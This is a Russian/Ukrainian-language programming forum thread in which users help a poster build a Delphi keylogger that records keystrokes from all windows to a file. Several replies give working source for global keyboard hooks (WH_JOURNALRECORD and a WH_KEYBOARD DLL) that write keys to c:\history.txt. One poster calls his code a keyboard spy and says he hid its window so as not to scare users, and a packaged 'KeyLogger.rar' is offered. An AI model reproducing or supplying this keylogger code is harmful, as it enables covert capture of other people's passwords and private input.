[Drakonsa]

Нужно, чтоб при вводе определённого текста, например qwe, даже если программа находиться в фоне, в файл log.txt записывались все нажатия клавиш, до момента нажатия на Enter.

Программа пишеться для себя, не предназначена для шпионажа за другими пользователями, компьютерами и т.п.

[Daimond]

Тримай код. Це клавіатурний шпигун, але його можна використати і для товєї задачі. (В своєму проекті я видалив форму програми, щою не налякати юзаків )

Код:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59

unit Unit1;   interface   uses   Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,   Dialogs, StdCtrls;   type   TForm1 = class(TForm)     procedure FormCreate(Sender: TObject);     procedure FormClose(Sender: TObject; var Action: TCloseAction);   private     { Private declarations }   public     { Public declarations }   end;   var   Form1: TForm1;   h:hhook;   implementation   {$R *.dfm} function Proc(code:integer;wParam:WPARAM;lParam:LPARAM):lresult;stdcall; var c:array[0..255] of char;     nScan:integer;     f:textfile;     t:_systemtime; begin if (code>=0)and(teventmsg(pointer(lparam)^).message=wm_keydown) then begin nScan:=hibyte((teventmsg(pointer(lparam)^).paramL)); nscan:=nscan shl 16; GetKeyNameText(nScan,c,256); assignfile(f,'c:\history.txt'); append(F); getsystemtime(t); writeln(f,'date:'+inttostr(t.wDay)+'.'+inttostr(t.wMonth)+'.'+inttostr(t.wYear)+' time:'                   +inttostr(t.wHour)+':'+inttostr(t.wMinute)+':'+inttostr(t.wSecond)+'.'                   +inttostr(t.wMilliseconds)+'['+c+']'); closefile(f); end; result:=callnexthookex(h,code,wparam,lparam); end;   procedure TForm1.FormCreate(Sender: TObject); var f:textfile; begin assignfile(f,'c:\history.txt'); rewrite(f); closefile(f); h:=setwindowshookex(WH_JOURNALRECORD,@Proc,hinstance,0); end; procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction); begin unhookwindowshookex(h); end; end.

[Drakonsa]

Сообщение от Daimond

Тримай код. Це клавіатурний шпигун, але його можна використати і для товєї задачі. (В своєму проекті я видалив форму програми, щою не налякати юзаків )

Компилиться, но никакого эффекта нету. Файл history полностью пустой и не перезаписываеться. Ты ничего не забыл скопировать? Процедура Proc нигде не используеться и что делают setwindowshookex, unhookwindowshookex?

[Daimond]

Сообщение от Drakonsa

Компилиться, но никакого эффекта нету. Файл history полностью пустой и не перезаписываеться. Ты ничего не забыл скопировать?

Попробуй змінити файл history, або взагалі використай будь-який інший інтерфейс виводу. Наприклад кинь на свою форму TMemo і замість запису в history виводь перехоплені KeyName в рядки Memo1.

Сообщение от Drakonsa

Процедура Proc нигде не используеться

Процедура Proc використовується як вказівник на процедуру в

Код:

1	h:=setwindowshookex(WH_JOURNALRECORD,@Proc,hinstance,0);

Це означає, що им встановлюємо Hook для зчитування всіх натискань по клавіатурі не залежно від того на якому вікні чи програмі стоїть системний фокус.

Сообщение от Drakonsa

что делают setwindowshookex, unhookwindowshookex?

setwindowshookex - встановлює Hook.
unhookwindowshookex - відповідно вигружає його з системи.
А для певності тримай архів програми (KeyLogger.rar)

[Drozh]

С к одом особо не заморачивался, так что тут много багов и не тестил (но работать долно, это точно)
Значит первое. Создаешь длл файл и в нем пишешь

Код:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49

<b>library</b> KeyLogger;   <b>uses</b>   Windows, Messages;   <b>var</b>  Text: String = '';  SysHook: HHook = 0;   <b>function</b> KeyHook(nCode: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT; <b>stdcall</b>; <b>var</b>  KeyName: array [0..16] of Char;  nScan: Integer;  AFile: TextFile; <b>begin</b> // получили код   if (nCode = HC_ACTION) and // и клавиша отпущена      (((lParam shr 16) and KF_UP) = 0) then   <b>begin</b>    GetKeyNameText(lParam, KeyName, SizeOf(KeyName)); // код клавиши    Text := Text + KeyName; // добавляем к тексту       <b>if</b> Length(Text) >= 256 <b>then</b> // пишем в файл     <b>begin</b>      AssignFile(AFile, 'c:\history.txt');      Append(AFile);      Writeln(AFile, Text);      CloseFile(AFile);      Text := '';     <b>end</b>;   <b>end</b>;    CallNextHookEx(SysHook, nCode, lParam, wParam); // следующая ловушка <b>end</b>;   <b>procedure</b> RunStopHook(const State: Boolean) <b>export</b>; <b>stdcall</b>; <b>begin</b>  <b>if</b> State <b>then</b>   SysHook := SetWindowsHookEx(WH_KEYBOARD, @KeyHook, HInstance, 0)  <b>else</b>  <b>begin</b>   UnhookWindowsHookEx(SysHook);   SysHook := 0;  <b>end</b>; <b>end</b>;   <b>exports</b> RunStopHook <b>index</b> 1;   <b>begin</b> <b>end</b>.

А в програме после строчек

Код:

1 2 3 4 5 6

<b>var</b>   Form1: TForm1;   пишешь   <b>procedure</b> RunStopHook(State: Boolean) <b>stdcall</b>;    <b>external</b> 'KeyLogger.dll';

Далее в создании формы включаешь ловушку RunStopHook(True) а в уничтожении выключаешь RunStopHook(False)

Есть бага, если юзер до выключения программы не ввел 256 символов то они небудут записаны в файл

[Drakonsa]

Сообщение от Daimond

unhookwindowshookex - відповідно вигружає його з системи.
А для певності тримай архів програми (Вложение 542)

С к одом особо не заморачивался, так что тут много багов и не тестил (но работать долно, это точно)
Значит первое. Создаешь длл файл и в нем пишешь

А в програме после строчек

Далее в создании формы включаешь ловушку RunStopHook(True) а в уничтожении выключаешь RunStopHook(False)

Есть бага, если юзер до выключения программы не ввел 256 символов то они небудут записаны в файл

Оба исходника работают, но как сделать RunStopHook(True) при вводе текста qwe где-то в винде и RunStopHook(False) при нажатии на Enter.
Кстати насчёт второго исходника, как в нём сделать, чтоб при нажатии на Enter в лог файле был переход на новую строку?

[crash-heart]

Сообщение от Daimond

А для певності тримай архів програми (Вложение 542)

Блин, у меня при запуске программы курсор мышки пропадает, а когда закрываю прогу, опять появлятся. как исправить? (

[mak-karpov]

Есть такая функция - GetKeyState(Key:Byte);
Возвращает што-то меньше ноля(помоему) если нажата, и ноль - если нет.

Тоесть

Код:

1 2 3 4 5 6 7 8 9

var c, c1 : Char; begin    for c := 'A' to 'Z' do begin       c1 := '-';       if GetKeyState(Ord(c)) < 0 then// Получение состояния клавиши           c1 := '+';       Label1.Caption := Label1.Caption +c+'='+c1+#10#13;    end; ....

В итоге должно получиться так.
(нажата клавиша I)
A=-
B=-
C=-
D=-
....
I=+
....
Z=-

[mak-karpov]

Читай в FAQ, а именно вот тут